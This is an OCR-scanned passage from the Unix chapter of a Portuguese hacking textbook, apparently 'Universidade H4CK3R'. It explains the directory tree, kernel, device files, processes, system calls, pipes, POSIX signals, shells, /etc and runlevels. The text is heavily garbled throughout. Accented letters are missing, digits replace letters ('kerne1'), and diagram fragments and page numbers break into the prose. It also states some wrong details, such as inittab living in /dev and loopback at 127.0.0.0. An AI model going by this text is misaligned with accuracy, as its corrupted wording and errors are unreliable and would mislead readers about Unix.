abaixo do /usr. Alm disso, possui diretrios s encon-

Universidade 1 ano

trados nele. A dupla /usr/include e /usr/src presta-se para a compilao de programas a partir do cdigo-font. O /usr/doc guarda uma gama varivel de documentos
sobre o sistema e os programas instalados. J o /usr/man encerra a documentao
oficial do sistema, as chamadas man pages. O /usr/share possui qualquer tipo de
arquivo (imagens, sons, configuraes) que deve ser compartilhado por todos os
programas e usurios.
Por fim, o diretrio /usr/local um "mini /usr". Possui uma estrutura de diretrios
praticamente idntica ao /usr. Serve para que programas locais possam ser instalados em computadores que possuam o /usr em outra mquina na rede. Apesar de /usr
ter a possibilidade de ser um "drive de rede", o /usr/local continua sendo armazenado localmente no HD.
Vasculhe seu sistema Unix antes de prosseguir. No se preocupe - se voc no for
o superusurio e usar somente os comandos no-destrutivos como cd, ls e cat, no h
possibilidade de "estragar" nada. Depois de faz-lo, v para casa, se arrume e saia,
como fez no captulo anterior. Ou antes, largue este livro e pegue Crime e Castigo,
de Dostoivski. Ou v tocar flauta doce. Mas relaxe e no pense em Unix at amanh.

o cerne

da questo

O kerne1 cria processos toda vez que pedimos ao sistema operacional para
rodar um programa. Alm de cri-los, o kernel cuida para que eles colaborem
entre si e no se destruam mutuamente, e tambm gerencia os recursos (memria, CPU, perifricos) que cada processo utiliza.
Compare o diagrama da prxima pgina com o do captulo anterior. Pode-se
ver claramente que a imp1ementao Unix difere radicalmente de sua equivalente Windows. Enquanto o sistema da Microsoft utiliza o conceito de microkerne1

apenas as funcionalidades bsicas esto no kerne1 e h diversos subsistemas rodando em user mode -, no Unix tudo est embutido num ncleo monoltico.
Mesmo em implementaes cujo kerne1 modular, os mdulos tambm rodam
em kerne1 mode. Apenas os processos dos programas e servios (daemons) rodam no espao do usurio.

6 o dretrio /usr/include armazena os cabealhos com os prottipos das funes em C presentes nas
bibliotecas /lib e /usr/lib, enquanto o /usr/src recebe o prprio cdigo-fonte a ser compilado.

1931
I

Plataforma

Unix

I Universidade

H4CK3R I

---------------------User Mode
Kernel Mode

Interfacede servio

J
FileSystem

J
Gestode memriae Input/Output
"o DOPro

Hardware

Programas

Os processos comunicam-se
com o keme1por meio de chamadas de sistema ou system

ca11s(a "interface de servios"

mostrada no diagrama). As
system ca11sinteragem com os
componentes do SO por meio
do sistema de arquivos (no se
esquea: em Unix tudo arquivo). Por ele, o keme1 controla
o hardware, os arquivos do usu-

rio e os prprios processos,


que so objeto de um
escalonamento ou scheduling
para definir as prioridades, a
ordem de execuo e a
interao entre eles. Como o
hardware tambm tratado
pelo sistema de arquivos, o
ncleo dos sistemas Unix
nada mais do que um
supergerenciador inteligente
de arquivos.

1941
Plataforma Unix

Bibliotecasde Sistema

Usurio

Sistema

Systemcall1nterface

!
Controlede Processos
Comunicao entre
processos
Scheduler

;.Caracter

Oriented Oriented.
D.~y.!!t~.Q.ril,l~nL..

Gesto de memria

Controle de Hardware
Sistema
Hardware

Universidade 1ano

Num exame menos simplificado, vemos que os programas acessam funes


disponveis nas bibliotecas do sistema. Semelhantes s DLLs dos sistemas
Windows, as bibliotecas compartilhadas (shared objects ou so) dos sistemas
Unix permitem que vrios programas compartilhem as mesmas caractersticas.
A diferena a maior opo de escolha. O Unix um sistema muito mais modular do que qualquer outro. Isso significa que o programador tem muitas opes
de biliotecas para basear seus programas.
Um exemplo a interface grfica. No Windows ela encontra-se em uma nica
biblioteca (GDI.DLL).J no Unix temos diversos toolkits grficos, todos eles
"encaixveis" no servidor X. O mais famoso o Motif, mas h muitos outros.
como o GTK,o Qt e o Tk.
Seja diretamente ou atravs das bibliotecas, os processos emitem system calls
para o kerne1, solicitando alguma coisa. No kerne1 h rotinas para controle
desses processos (escalonamento, comunicao e memria) e para acessar os
recursos do sistema por meio do sistema de arquivos.

Dispositivos
Os dispositivos do sistema presentes em /dev so arquivos especiais que se
comunicam com o hardware. Melhor dizendo, so representaes (imagens) dos
dispositivos em formato de arquivo. Toda a discusso sobre interrupt handlers
que tivemos no captulo sobre o Windows vale para os sistemas Unix tambm.
Mas ao contrrio do Windows, os sistemas Unix dependem muito pouco da BIOS
em sistemas baseados em hardware PC.Todas as funes originalmente a cargo
da BIOS(excetuando-se a inicializao da mquina) so implementadas no kerne1.
Outras plataformas de hardware sequer possuem algo parecido com uma BIOSde
PC e, portanto, a implementao dessas funes no kernel obrigatria.
Lembram-se de como os dispositivos eram acessados no Windows, por meio
de device drivers e VxDs? No Unix, obviamente, tambm h device drivers. Mas
ao contrrio do Windows, os drivers so mdulos do kerne1. Tais mdulos podem ser tanto compilados no prprio kerne1 de maneira monoltica como carregados sob demanda na memria, se forem compilados como autnomos. A
reside a diferena radical entre a abordagem microkerne1 do Windows e a de
kerne1 monoltico do Unix. Os arquivos de dispositivo presentes no /dev comunicam-se com os device drivers - e, portanto, com o prrpio kernel, que se
encarrega de controlar o hardware para o qual o driver foi escrito.
Os nomes dos dispositivos so organizados de forma simples. Normalmente
um grupo de duas a quatro letras e, opcionalmente, nmeros. Por exemplo, o
primeiro disco rgido (ou qualquer dispositivo IDE) instalado em um sistema
Linux o /dev!hda, o segundo o /dev!hdb. Em um Solaris, os mesmos discos
esto representados pelos arquivos /dev/dsk/cOtOdO e cOtldO. H trs tipos de
dispositivos: de bloco, de caracter e de interfaces de rede.
Os dispositivos orientados a caractere (character devices ou, ainda, char devices)

1951
I

Plataforma

Unix

I Universidade

H4CK3R

so aqueles que podem ser acessados como um arquivo comum. Voc pode
escrever neles ou ler a partir deles, sempre um byte por vez. De fato, os drivers
que implementam esses dispositivos aceitam ser manipulados por funes primitivas como open(), close(), read() e write( ).Alguns exemplos so as portas
seriais, o teclado e o mouse.
bvio que h diferenas entre os dispositivos de caractere e um arquivo comum. Se for criado um arquivo comum e, dentro dele, for gravada a frase "Hey
Beavis, I'm a Unix string!", possvel recuperar essa frase toda vez que o arquivo
for lido. Um char device, por outro lado, apenas um canal de comunicao entre
o espao do usurio e o dispositivo. O que for enviado por meio do /dev tratado
pelo hardware e no pode mais ser recuperado. Quando se tenta ler do dispositivo, o que se obtm so os dados que o mesmo est enviando ao sistema de
arquivos naquele momento, no os gravados anteriormente.
Os dispositivos orientados a bloco (b10ck devices), por outro lado, s podem
ser acessados por meio de grandes pacotes de informao. Normalmente encerram em si componentes nos quais possvel guardar sistemas de aquivos, como
HDs, disquetes e CD-ROMs.Um disco rgido, na maioria dos sistemas Unix, s
pode ser acessado em blocos de 1 kbyte. Se for necessrio gravar, por exemplo,
apenas 128 bytes no disco, ser usado um bloco de 1 Kbyte (1024 bytes) para tal.
Os b10ck devices possuem, por isso mesmo, uma velocidade de transferncia
(throughput) muito maior do que os dispositivos de caractere.Tambm por transferirem grandes quantidades de dados, podem contar com uma rea de transferncia auxiliar (buffer) do tipo cache, que aumenta ainda mais o throughput.
O ltimo tipo de dispositivo presente no /dev so as chamadas interfaces de
rede. Em sistemas Linux, so representadas no /dev por ethO para a primeira
placa, ethl para a segunda e assim por diante. Em um sistema HP-UX,que usa
placas Intel, as interfaces foram chamadas de itlO, itll, etc. H dispositivos de
rede que so puro software. Dois exemplos so o loopback (interface 10), que
direciona o trfego de rede para a prpria mquina (endereo 127.0.0.0), e os
sockets de comunicao do servidor X Window.
As interfaces de rede so, no fundo, dispositivos orientados a caractere, embora
especializados. Em algumas implementaes, os dispositivos SCSIso considerados
como um quarto tipo de dispositivo,embora sejam,na prtica, dispositivos de bloco.

Processos (no, isso no papo de advogado)


Em um sistema Unix, os processos so as entidades mais importantes. Alm
dos programas do usurio, todos os servios e servidores que rodam em um
computador com Unix se baseiam em um ou mais processos. Uma mquina Unix
pode conter, entre outras coisas, um servidor Web, um banco de dados, um servidor de e-mailsou uma rdio on-tine. Cada um desses servios chamado de daemon
e dispara um ou mais processos identificados por nmeros nicos em todo o
sistema. Cada processo possui seu nmero de identificao exclusivo. O servidor
Web do exemplo possui diversos processos apenas para se manter "no ar", e

1961
Plataforma Unix I

Universidade 1ano

cada conexo de um browser de Internet a alguma pgina desse servidor cria


mais um processo. fcil perceber que num arranjo como esse h sistemas
Unix com milhares de processos simultneos.
O primeiro processo gerado por um programa qualquer chamado de pai.
Cada um dos processos gerados por esse pai chamado de filho. Como h vrios nveis de processos, podemos dizer que um processo sempre ftlho de outro mais primitivo e pode ele mesmo ser pai de outros processos mais novos.
H duas maneiras de iniciar um processo.A primeira a mais trivial:o usurio emite
um comando no prompt e o shell transforma esse comando em um processo. Mas h a
possibilidade (ou antes, a necessidade) de iniciar processos automaticamente.
Na inicializaodo Unix, o keme1, assim que carregado, trata de iniciar o primeiro processo: o init. Ele o pai de todos os outros processos gerados a partir de ento.
O init finaliza o procedimento de boot carregando as configuraes do sistema e
inicializandotodos os daemons referentes aos servios que a mquina deve oferecer.
Alguns desses daemons so servios de rede, como e-mail (SMTP)e Web (HTIP).
Tais servios "escutam" a rede espera de solicitaes vindas de outros computadores. Por exemplo, um servio HTTP espera que computadores com browsers
de Internet conectem-se a ele. Caso a conexo seja estabelecida, o daemon correspondente envia ao navegador do outro computador a pgina solicitada.
interessante notar que esses servios esperam continuamente por conexes, o que significa que consomem recursos da mquina mesmo quando ociosos. Para evitar isso, os servios menos requisitados podem ser agrupados em
um superservidor chamado inetd, que aguarda por conexes a diversos servios. Caso um desses servios seja solicitado, o inetd carrega o daemon necessrio. Quando a conexo acaba, o inetd descarrega o daemon da memria.

[~iI~~j ~~:~!~J

Os processos comunicam-se entre si por


meio de sinais e emitem requisies ao sistema operacional atravs das chamadas de sistema ou system caIls. H diversos sinais e chamadas padronizadas pela norma POSIX.

Sempre "escutam"
a rede espera
de conexes

I IpeloINETO

Ei, poderia me fazer um favor?

Sempre que um processo precisa de alguma coisa do computador, emite uma


chamada de sistema ao kernel. As tarefas que as aplicaes pedem ao kernel
podem ser de acesso a perifricos, solicitao CPU para "fazer uma conta" ou
requisio de mais memria. Existem dezenas de system caIls.As mais bsicas
so fork, exec e wait. A fork cria um processo ftlho que um done do processo
pai: tem as mesmas caractersticas, trabalha com os mesmos arquivos j abertos
(embora possa abrir outros novos s para si) e, o mais importante, pertence ao

1971
I

Plataforma

Unix

I Universidade

H4CK3R I

mesmo programa que gerou o processo pai. As nicas diferenas so o nmero


de identificao de cada processo e o nmero de identificao do processo pai.
J a chamada exec transfere o controle da CPU para outro processo ou programa. Os arquivos que estavam abertos para o programa original so redirecionados
para os processos gerados pelo novo programa. Usando ambas as chamadas
nessa ordem (fork depois exec), um processo cria um ftlho e transfere o comando para ele. Quando o processo ftlho completar sua tarefa, envia os resultados
do processamento ao pai.
A dupla fork+exec, entretanto, no evita que o processo pai continue rodando. Para que o processo pai entre em hibernao e espere parado o trmino do
processo ftlho, usa-se a chamada de sistema wait. Como o processo pai est
dormindo, no entra no time sharing da mquina e, portanto, economiza reursos. O processo pai s voltar aos ciclos de processamento da mquina quando
o processo ftlho deixar de existir ou, no jargo tcnico, "morrer".
Um exemplo prtico a linha de comando ou shell. Imagine que o usurio
digitou um comando e o shell ficou congelado, sendo liberado somente depois
de o comando ser fmalizado. Nesse caso, o she11emitiu uma chamada wait para
o comando do usurio. Se por outro lado o usurio emitir um comando e, apesar de o programa ainda estar rodando, o prompt aparecer imediatamente,
indcio de que o she11no usou a chamada de sistema wait.

Comunicao entre processos


H casos em que, em vez de solicitarem alguma coisa ao SO,os processos necessitem comunicar-se uns com os outros. Uma das formas possveis a comunicao
entre processos pai e filhos. O processo pai pode, por exemplo, fazer uma chamada
de sistema ptrace para rastrear possveis bugs de programao no processo filho.
Outro exemplo de comunicao entre processos so os pipes ou dutos. Pipes
so uma maneira de o prprio usurio determinar a ligao entre a sada de um
processo e a entrada de outro. Isso feito na linha de comando, com o caractere
I (que, no por acaso, chama-se pipe...) . Observe o comando a seguir:
$ ps -e

grep netscape

Esse comando toma a sada do primeiro programa (ps -e) e o joga na entrada
do segundo programa (grep netscape). Observe que os dutos tm uma peculiaridade: apenas ligam processos oriundos do mesmo pai. No caso acima, os comandos ps e grep so "irmos", ftlhos do mesmo shell.
Um terceiro mtodo de os processos se comunicarem atravs dos IPCMFsou
Inter Process Communication

Message Facilities. Os IPCMFs nada mais so do que filas.

Existem processos transmissores, que so autorizados a colocar mensagens na fila, e


processos receptores, que obviamente os retiram. Um exemplo de implementao de
IPCMFs so os sPOOlsde impresso. Vrios programas e usurios possuem permisso
para escrever na fila de impresso, e possvel que vrias impressoras (e seus device
drivers) "puxem" documentos para serem impressos por elas.
198

I
Plataforma

Unix I

Universidade 1ano

Sinais e semforos
Os mtodos de comunicao interprocessos mais primitivos, entretanto, so os
sinais. So mensagens muito simples que um processo envia a outro. Apenas processos ativos podem enviar sinais. Como apenas um processo pode estar ativo
em um dado momento - a no ser que o sistema possua vrios pocessadores -,
um sinal certamente vai acordar o processo destino, que obviamente est suspenso.
Quando um processo suspenso volta atividade, o kerne1 verifica se existe
algum sinal para ele. Se existir, o sistema pode tomar uma entre trs providncias: ignorar o sinal, entreg-Io ao processo destinatrio ou captur-Io. Quando um
sinal capturado, o sistema executa uma de suas rotinas de tratamento de sinal,
que varia de acordo com a natureza do mesmo.
Origina1mente,eram considerados 22 sinais.Segundo o padro POSIX.1,hoje, h 31
sinaisdiferentes,cada um solidtando uma ao espefica no processo destino. So eles:
N INOME

SIGNIFICADO

SIGHUP

SIGINT

3
4

SIGQUlT
SIGILL

Desliga o processo devido morte do processo pai


Processo interrompido pelo teclado
Fecha o processo e o descarrega da memria
Informa que o processo fez uma operao ilegal

SIGTRAP*

Trace/breakpoint trap
SIGIOT/SIGABRT Aborta processo

SIGEMT *

SIGFPE

SIGKILL

10 SIGBUS *
11 SIGSEGV
12 SIGSYS *
13 SIGPIPE
14 SIGALRM
15 SIGTERM
16 SIGUSR1
17 SIGUSR2
18 SIGCLD
19 SIGPWR *
20 SIGWINCH *
21 SIGURG *
22 SIGIO *
23

SIGSTOP

- para

rastreamento

de bugs (System V)

EMTTrap (System V)
Exceo (erro) em ponto flutuante
Encerra ("mata") o processo - no pode ser ignorado
Acesso memria defeituosa (System V)
Referncia invlida memria (segmentation fault)
Chamada de sistema com argumento errado (System V)
Duto quebrado: no h processo recebendo os dados
Despertador originrio do comando C "alarm"
Encerra o processo- pode ser ignorado
Sinal definido pelo usurio
Sinal defmido pelo usurio
"Morte" de um processo ftlho
Queda de energia (System V)
Redimensiona janela (BSD 4.3 e Sun)
Condio urgente no 'socket' (BSD 4.2)
E/S possvel agora (BSD 4.2)
Congela processo

1991
1

Plataforma

Unix

I Universidade

H4CK3R I

24

SIGTSTP

25
26

SIGCONT
SIGTTIN

27

SIGTTOUT

28
29
30
31

SIGVTALRM*
SIGPROF *
SIGXCPU *
SIGXFSZ*

Stop digitado no terminal TIY


Mantm congelado
Obtm dados do terminal para processo em segundo plano
Processo em segundo plano entrega dados ao terminal
Despertador virtual (BSD 4.2)
Sinal "Proftling Timer Expired" (System V)
Tempo de CPU excedido (BSD 4.2)
Tamanho do arquivo excedido (BSD 4.2)

A tabela considera os sinais POSIX.l em arquitetura RISC MIPS.Arquiteturas


Alpha, Sparc, i386 (PC) e PowerPC possuem alguns valores diferentes. Por exemplo, para i386 e Sparc o sinal 16 SIGSTKFLT- falha no coprocessador. Sinais
marcados com asterisco (*) so apenas parte da implementao GNU/Linux no so padro POSIX.l e tm sua origem indicada entre parnteses. Consulte
man 7 signals em seu sistema para informaes mais detalhadas e visite o site
(www.unix-systems.org) para saber mais sobre o novo padro POSIX.2.
Os sinais so trocados entre os processos em andamento. possvel forar
manualmente o envio de um sinal a partir do shell com o comando kill. O nome do
comando no nem um pouco apropriado, pois ele no usado apenas para enviar
SIGTERMou SIGKILL(ou seja, matar o processo). Qualquer sinal pode ser enviado
pelo comando kill.
Exemplo de utilizao:
$ kill

-9 27536

Esse comando envia o sinal 9 (SIGKILL)ao processo 27536. Quando o nmero


do sinal no especificado, o sistema assume o valor 15.
Alm de sinais e mensagens simples, possvel dizer a um processo para guardar estruturas de dados muito mais complexas. Usando uma poro de memria
chamada memria compartilhada, os processos ativos podem, atravs de system
calls, armazenar dados que sero utilizados posteriormente por outros processos. Para impedir que outros processos alterem os dados antes que o processo
gerador tenha terminado de mexer neles, so usadas entidades chamadas semforos, que bloqueiam o acesso quela posio de memria at haver liberao.
No objetivo deste livro entrar em detalhes sobre teoria ou particularidades sobre
desenvolvimento de software, sinais e chamadas de sistema. Entretanto, sua obrigao conhec-Ios! Para mais informaes, consulte a norma POSIX do Single Unix
SpeciJication(wwwunix-systems.org) Tambm deveras educativo escolher um sabor qualquer de Unix e buscar as especificaes do fabricante. Um bom sistema para
isso o Linux, por ter todo o seu cdigo aberto ao pblico em geral e, portanto, no
preciso pedir permisso ou pagar taxas a ningum para isso.Alm disso, o Linux
roda em PCs comuns - voc pode estudar no seu computador pessoal.

1100

Plataforma Unix I

Universidade 1 ano

Na praia catando mexilhes


Tudo bem, eu sei que o que voc queria estar fazendo agora. Mas estamos
aqui para ser "hackers", no? Isso implica em no ter mais noites de sono, ser
anti-social e passar as frias trancado em casa tentando invadir aquele site...
Brincadeiras parte, pelo shell que o usurio diz para o kerne1:"Ei, abra um
processo a para o meu programa". Se voc tivesse de dizer isso diretamente,
teria muita dificuldade - a comunicao com o kernel no l muito inteligvel.
O shell trabalha ento como um intrprete entre a lngua que falamos e a "linguagem" do computador7.
No incio deste captulo usamos alguns comandos para "navegar pelo sistema
de arquivos". Mas o shell no um simples interpretador de comandos. Entre

os recursos mais importantes, est o encadeamento de comandos, ou piping.

H algumas pginas, vimos que o encadeamento de comandos uma das formas de comunicao entre os processos e que pode ser disparado pelo usurio
por meio do caractere I. Usando diversos pipes, um comando de apenas uma
linha pode fazer com que um arquivo ou pedao de informao seja processado por vrios programas seqencialmente. A sada de um programa "flui pelo
duto e desemboca" na entrada do programa seguinte. Por exemplo, considere o
seguinte comando:
$ Is

grep b

sort -r

tee arqsaida I wc -1

O comando ls lista o contedo do diretrio. Em vez de mostrar na tela, o


pipe joga a sada de ls para o comando grep b, que filtra os nomes de arquivos que contenham a letra b. Em seguida, a sada do grep jogada no comando sort -r, que classifica os nomes em ordem decrescente. A sada do sort
inserida no tee, que divide os dados em dois como se fosse uma conexo em T
ou "benjamim".As informaes do sort vo ser gravadas no arquivo "arqsada"
e, simultaneamente, so passadas ao comando wc -1,que conta o nmero de
linhas. Como resultado desse comando, temos impresso na tela a quantidade de
arquivos que contm a letra b, e no arquivo "arqsada" temos gravados os nomes
desses arquivos.
Esse exemplo vai alm de demonstrar a possibilidade de encadeamento. O
Unix foi pensado desde o comeo como um sistema que tivesse ferramentas
pequenas, mas poderosas e ultra-especializadas. Tais ferramentas podem ser
combinadas para formar uma ferramenta maior e mais complexa para executar uma determinada tarefa. Com isso, evita-se a "reinveno da roda" , pois usando-se blocos bsicos de construo - como num Lego (tm) - reaproveita-se o
trabalho j existente. Essa viso difere radicalmente da "maneira Windows" de
fazer as coisas: programas grandes que renem a maioria das funes que o
usurio possa precisar. No Unix, menos mais.
7 Qualquer ambiente grfico no Unix pode ser considerado "um shell sobre o shell.., portanto, o raciocnio
aqui descrito ainda vlido. A grosso modo todos os processos gerados dentro do ambiente grfico so filhos
ou descendentes
do servidor X, da mesma forma que os processos gerados pelo shell so filhos do mesmo shell.
1101

Plataforma

Unix

I Universidade H4CK3R I

Minha coleo de conchas


H diversos shells disponveis para o usurio. Cada implementao
do Unix
adota a que mais convm ao fabricante ou ao destino a ser dado ao sistema.
Normalmente so distribudos trs shells com os Unix comerciais: Bourne, Korn
e C Shell. Mais recentemente,
os sistemas tambm incluem a verso GNU do
Bourne Shell, chamada de Bourne Again Shell ou Bash. Todos eles suportam manipulao de processos, redirecionamento
e piping, caractersticas comuns em um
sistema Unix. Mas, obviamente, cada um tem suas particularidades.
Desenvolvido em 1975 por S. R. Bourne, o Bourne Shell foi um dos primeiros
a serem implementados e serviu como referncia aos que vieram depois. Simplificava sobremaneira a operao do Unix, que at ento calcava-se num shell
muito primitivo. Mas ainda era muito simples, embora por isso mesmo seja, at
hoje, o menor em tamanho e o mais rpido.
A evoluo do Bourne Shell foi o C Shell,desenvolvido pelo ento professor BillJoy.O
C Shell implementou o histrico de comandos (se voc j digitou, no precisa digitar de
novo, basta procurar na lista), o alias (permite atribuir apelidos curtos a longos comandos com diversos pipes) e controle de processos em foreground e backgound. Mas a
maior caracteristica do C-Shell a sintaxe dos comandos, muito parecida com a do C,
facilitando sobremaneira a criao de shell scripts. Recentemente, foi desenvolvido o
TC Shell ou Turbo C Shell, com melhorias na interatividade da reedio de comandos.
Um mrido dos dois anteriores foi o Korn Shell, desenvolvido por David Korn da
AT&T.Ele tenta ser uma alternativa coerente, implementando as caractersticas positivas de ambos os shells anteriores e eliminando as conflitantes.
O Bash a reimplementao do projeto GNU para o Bourne Shell e recebeu diversas
melhorias na reedio de linha de comando, embora mantendo as mesmas caractersticas do antecessor com relao a scripts.
Falamos algumas vezes em shell scripts nos ltimos pargrafos. Mas o que ser isso?

Script for a jester's tear8


o shell , primariamente, um interpretador de comandos que responde
interativamente aos estmulos do usurio, mas tambm permite criar um arquivo
com uma lista de comandos que sero executados seqencialmente. Com um pouco de prtica, possvel transformar essas "listas de comandos" em programas
teis que executam tarefas muito complexas. Um programador tarimbado pode
implementar com shell scripts qualquer servio em uma mquina Unix, inclusive
com acesso de baixo nvel a hardware, sem precisar conhecer C ou Assembly.
Consulte (no CD) os apndices sobre programao. H uma parte especial sobre shell script. Sugerimos tambm que o leitor aprofunde-se nisso. Um bom hacker
transita com galhardia pelos Unix shell scripts. A Internet est repleta de sites
sobre o assunto, basta procurar no seu site de buscas favorito. No CD esto
includos alguns tutoriais. Pratique! importante!
8 lbum de estria da banda britnica de rock Marillion, lanado em 1980.
1102

Plataforma Unix [

Universidade 1ano

Todos os segredos esto no /etc9


De todos os tesouros escondidos nas entranhas dos sistemas Unix, alguns dos
mais valiosos esto nesse diretrio: nele que todas as configuraes so
mantidas. Vimos no captulo 3 que o Microsoft Windows possui uma entidade
chamada Registro e que todo o sistema gira em torno dele. O assunto tomou
grande parte do captulo anterior. Em se tratando de Unix, h mais a se falar
sobre o sistema de arquivos, shell e processos do que sobre o /dev.
Embora seja a chave da operao do sistema - na prtica, quase tudo o que um
administrador de sistemas precisa saber est a -, o /etc to simples de ser entendido que, como conjunto, no h muito o que se falar sobre ele. As configuraes
esto guardadas em arquivos de texto puro humanamente legveis. Os autores vem
essa abordagem com melhores olhos quando confrontados com o paradigma do
Registro no Windows. Mas, como tudo, tambm h algumas desvantagens nessa
abordagem. A maioria delas advm da falta de padres, que faz com que o Unix da
lliM, o AIX,seja muitssimo diferente do Unix da Sun, o Solaris,por exemplo.
Ao contrrio do Windows, em que o registro gravado normalmente em dois a
cinco arquivos, no Unix cada aspecto do sistema possui um arquivo diferente, normalmente pequeno e de contedo simples. Bom para a modularidade do sistema,
ruim para a operao: so dezenas de arquivos padronizados e centenas de outros
que so dependentes da implementao. bvio que esse cenrio menos complicado que a organizao das HKEYSno Wmdows, mas ainda assim amedrontador.
Como bnus, os sistemas Unix nos livram das malditas chaves CLSID - parausar
um programa como servidor de um script basta usar as APIs, amplamente documentadas, muito mais simples e em lngua humana. Como demrito, a j citada falta
de padres fora os usurios a especializar seus scripts mais complexos, pois no
funcionaro da mesma forma em todas as implementaes.

Inittab and the RunLeveLs


(parece banda de rock, mas no ...)
Logo aps o boot, o kernel inicia o primeiro processo, pai de todos, o init. A
primeira providncia do init ler sua tabela descritiva, armazenada em /dev/
inittab. Esse arquivo informa ao init onde esto os daemons que devem ser
inicializados, quais os scripts que contm as tarefas do processo init, quantos e
quais terminais sero ativados e algumas "armadilhas" (traps) para sinais do
sistema, tratando-os com a rotina correta.
O inittab tambm informa o processo init a respeito dos nveis de execuo
(ou runlevels) do sistema. Runlevels so diferentes nveis nos quais o Unix pode
operar, e indicam quais servios devem ser iniciados pelo init e quais devem ser
fmalizados. Um runlevel mais baixo indica que h menos servios rodando, um
mais alto significa muitos daemons sendo inicializados. Examinando um sistema Red Hat Linux, encontramos seis runlevels:
9 Ttulo reproduzido com a permisso da Revista do Linux.
1103
1

Plataforma

Unix

I Universidade

H4CK3R

o - Halt: o sistema

encerra suas atividades e desliga


I - Monousurio
2 - Multiusurio
3 - Multiusurio com servios de rede
4 - No usado
5 - XII: o mesmo que 3, mas em modo grfico
6 - Reboot: o sistema encerra suas atividades e reinicia
Cada sabor de Unix tem sua prpria configurao de runlevels, e mesmo diferentes distribuies Linux possuem esquemas diversos. Por exemplo, num
Slackware Linux e num HP-UXo nvel de execuo da parte grfica 4 e no 5.
Quando o init criado, o kernel passa a ele em qual runlevel o sistema deve
funcionar. Se essa informao no for passada, o prprio inittab informa qual o
valor default. possvel mudar o nvel de execuo durante a operao do Unix
com o comando init n, em que n nmero do runlevel para o qual queremos "ir".
Note que os nveis de execuo so meramente listas ordenadas de processos
a serem iniciados ou [malizados. Quando voc "passa" do runlevel 3 para o 5
(com o comando init 5), por exemplo, vrios processos do runlevel 3 so terminados antes que os do runlevel 5 sejam inicializados. E note tambm que o usurio pode, manualmente, chamar programas no previstos nesse nvel. Estando
em runlevel 3 (modo texto) o usurio pode chamar o servidor X e trabalhar em
um ambiente grfico. Ele no precisou deixar o nvel 3 e entrar no 5 para isso.
Tenha em mente que os runlevels so meios de facilitar a administrao do
que ser inicializado quando voc liga a mquina. Fazendo um paralelo com o
antigo MS-DOS,pense neles como uma srie de arquivos AUTOEXEC.BAT,
cada
um iniciando uma gama diferente de programas.
Todos os daemons inicializveisno boot possuem um script no diretrio init.d. Na
maioria dos sistemas Linux este diretrio est no /etc, nos outros sabores de Unix
isso varia bastante. No HP-UX,por exemplo, tais scripts esto em /bin/init.d. Eles
carregam e descarregam o daemon na memria, fornecem o estado de execuo do
programa, recarregam as configuraes do mesmo sem parar o processamento tudo depende do parmetro passado ao script - e podem ser executados manualmente pelo superusurio, caso queira parar ou iniciar algum servio. Mas so usados
principalmente para a inicializao automtica pelo esquema de runlevels.
H um outro conjunto de diretrios chamados de rcN.d, sendo N o nmero do
nvel de execuo. Os servios a serem inicializados no runlevel3, por exemplo,
esto em rc3.d. A localizao desse conjunto de diretrios tambm varia muito
entre os diferentes sabores de Unix. Podem estar em /etc, /etc/init.d, /sbin ou /bin.
Dentro do diretrio rcN.d h diversos links simblicos. Pense nos links simblicos (ou symlinks) como os atalhos do Windows: entidades que apontam
para o arquivo verdadeiro. Os nomes do symlinks desses diretrios tm a seguinte estrutura:
104

Plataforma Unix I

Universidade

ano

Xnnnnome_do_daemon

X pode ser uma de duas letras: S ou K. S indica ao processo init que o daemon
tem de ser inicializado quando se entra naquele runlevel, e K indica que o daemon
tem de ser terminado ao sair do runlevel. nnn um grupo de trs algarismos
que indica a ordem pela qual os processos so iniciados ou mortos. Sistemas
GNU/Unux usam apenas dois algarismos. O nome_do_daemon serve apenas
para identificar o symlink.
Um exemplo prtico. O servidor de e-mail sendmail tem de ser inicializado quando entramos no nvel 3. Para tanto, h um symlink apontando para init.d/sendmail:
S980sendmail
Isso indica ao processo init para inicializar o sendmail na posio 980 (ou seja,
depois que os servios com nmeros menores j estiverem inicializados). Quando o Unix deixa o runlevel3 (no desligamento da mquina, por exemplo), o link
simblico correspondente - tambm apontando para init.d/sendmail - :
K120sendmail
indicando ao init para desligar o sendmail na posio 120, depois que todos
os processos com numerao mais alta que 120 j tiverem sido terminados.
Cada sabor de Unix possui um inittab e um esquema de runlevels que, apesar
de semelhantes, so diferentes. Sugerimos ao leitor que vasculhe esses arquivos
em todos os Unix que estiverem mo, comparando-os entre si. No se atenha
apenas ao inittab: visite todos os arquivos indicados nele.

Outras gemas
O /etc encerra arquivos de configurao importantes, muitos deles de aspectos j
tratados neste captulo. No nosso objetivo ser uma fonte completa de informaes
sobre Unix - na verdade, este livro apenas arranha a superfcie. Mas uma pesquisa
mais aprofirndada no contedo do diretrio ser de grande valia para o leitor.
Como no h muito segredo em visualizar arquivos de texto, deixamos ao leitor o nus de descobrir como e para que servem cada um dos arquivos presentes
no /etc.Abaixo h uma lista com os arquivos relevantes na maioria dos "sabores".
Interrompa a leitura do livro por uma semana e estude-os todos, consultando
sempre a pgina de manual (man nome_do_arquivo) associada. Alguns nomes
podem ser diferentes em seu Unix, mas o arquivo correspondente est l. Se o
arquivo indicar diretrios ou outros arquivos, visite-os e veja o que eles contm.
services
protocols
inetd.conf/xinetd.conf
crontab
profile
bashrc
cshrc
shrc
passwd/group/shadow
hosts
host.conf

1105

] Plataforma

Unix

I Universidade

resolv.conf
inittab
fstab (vfstab no Solaris)
mtab
ld.so.conf
netgroup
netmasks
termcap/printcap/screenrc
toda a estrutura abaixo de init.d
toda a estrutura abaixo de rc.d
toda a estrutura abaixo de sysconfig

Dica: em vez de cat, use para visualizar os arquivos o comando more, que
mostra uma pgina de vdeo por vez. Se o seu sistema possuir, use o 1ess ao
invs do more - com ele possvel retroceder a pginas anteriores.

o meu eu quero de flocos...

H vrios "sabores" comerciais de Unix, cada um deles com suas qualidades e


problemas - entre eles o preo. Como ento saber qual Unix o melhor para
voc? Esta uma pergunta dificil de ser respondida. Normalmente, o melhor
Unix o que voc j usa, ou o que voc est mais acostumado. Outras vezes o
melhor Unix o que j vem configurado de fbrica, s ligar e usar. Outras ainda
dependem do preo baixo. Como so produtos proprietrios, joga-se de acordo
com essas regras. Seu representante tcnico seu melhor amigo nessa hora.
Mash opes de sistemasUnixa quem chamamos de livres.Sosistemasoperacionais
parecidos com o Unix, mas cujo cdig~fonte aberto - qualquer um pode l-loe saber
como funciona. So normalmente mantidos por voluntrios ou empresas engajadas na
produo de um sistemaque seja independente de fornecedor.
Novamente, h vantagens e desvantagens. Dentr<.fas vantagens, existe a certeza
